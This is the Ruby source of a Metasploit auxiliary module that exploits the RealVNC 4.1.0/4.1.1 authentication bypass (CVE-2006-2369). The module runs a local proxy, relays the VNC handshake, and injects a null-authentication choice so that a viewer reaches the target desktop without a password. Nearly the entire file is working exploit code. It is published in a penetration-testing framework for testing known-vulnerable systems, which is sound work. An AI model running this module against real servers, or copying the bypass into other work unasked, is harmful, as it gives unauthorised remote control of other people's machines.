metasploit-framework/modules/auxiliary/admin/vnc/realvnc_41_bypass.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary
	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'RealVNC NULL Authentication Mode Bypass',
			'Description'    => %q{
				This module exploits an Authentication bypass Vulnerability
				in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
				listener on LPORT and proxies to the target server

				The AUTOVNC option requires that vncviewer be installed on
				the attacking machine.
			},
			'Author'         =>
				[
					'hdm', #original msf2 module
					'theLightCosine'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['BID', '17978'],
					['OSVDB', '25479'],
					['URL', 'http://secunia.com/advisories/20107/'],
					['CVE', '2006-2369'],
				],
			'DisclosureDate' => 'May 15 2006'))

		register_options(
			[
				OptPort.new('RPORT',    [true, "The port the target VNC Server is listening on", 5900 ]),
				OptPort.new('LPORT',    [true, "The port the local VNC Proxy should listen on", 5900 ]),
				OptBool.new('AUTOVNC',  [true, "Automatically launch vncviewer from this host", false])
			], self.class)
	end

	def run
		# starts up the Listener Server
		print_status("Starting listener...")
		listener = Rex::Socket::TcpServer.create(
			'LocalHost' => '0.0.0.0',
			'LocalPort' => datastore['LPORT'],
			'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
		)

		# If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
		# targetting the proxy listener.
		if (datastore['AUTOVNC'])
			unless (check_vncviewer())
				print_error("The vncviewer does not appear to be installed, exiting...")
				return nil
			end
			print_status("Spawning viewer thread...")
			view = framework.threads.spawn("VncViewerWrapper", false) {
					system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
			}
		end

		# Establishes the connection between the viewier and the remote server
		client = listener.accept
		add_socket(client)

		# Closes the listener socket as it is no longer needed
		listener.close

		s = connect

		serverhello = s.get_once
		unless serverhello.include? "RFB 003.008"
			print_error("The server is not vulnerable")
			return
		end

		# MitM attack on the VNC Authentication Process
		client.puts(serverhello)
		clienthello = client.get_once
		s.puts(clienthello)

		authmethods = s.read(2)

		print_status("Auth methods received. Sending null authentication option to client")
		client.write("\x01\x01")
		client.read(1)
		s.put("\x01")
		s.read(4)
		client.put("\x00\x00\x00\x00")

		# Handles remaining proxy operations between the two sockets
		closed = false
		while(closed == false)
			sockets =[]
			sockets << client
			sockets << s
			selected = select(sockets,nil,nil,0)
			#print_status ("Selected: #{selected.inspect}")
			unless selected.nil?

				if selected[0].include?(client)
					begin
						data = client.get_once
						if data.nil?
							print_error("Client closed connection")
							closed = true
						else
							s.put(data)
						end
					rescue
						print_error("Client closed connection")
						closed = true
					end
				end

				if selected[0].include?(s)
					begin
						data = s.get_once
						if data.nil?
							print_error("Server closed connection")
							closed = true
						else
							client.put(data)
						end
					rescue
						closed = true
					end
				end
			end
		end

		# Close sockets
		s.close
		client.close

		if (datastore['AUTOVNC'])
			view.kill rescue nil
		end
	end

	def check_vncviewer
		vnc =
			Rex::FileUtils::find_full_path('vncviewer') ||
			Rex::FileUtils::find_full_path('vncviewer.exe')
		if (vnc)
			return true
		else
			return false
		end
	end
end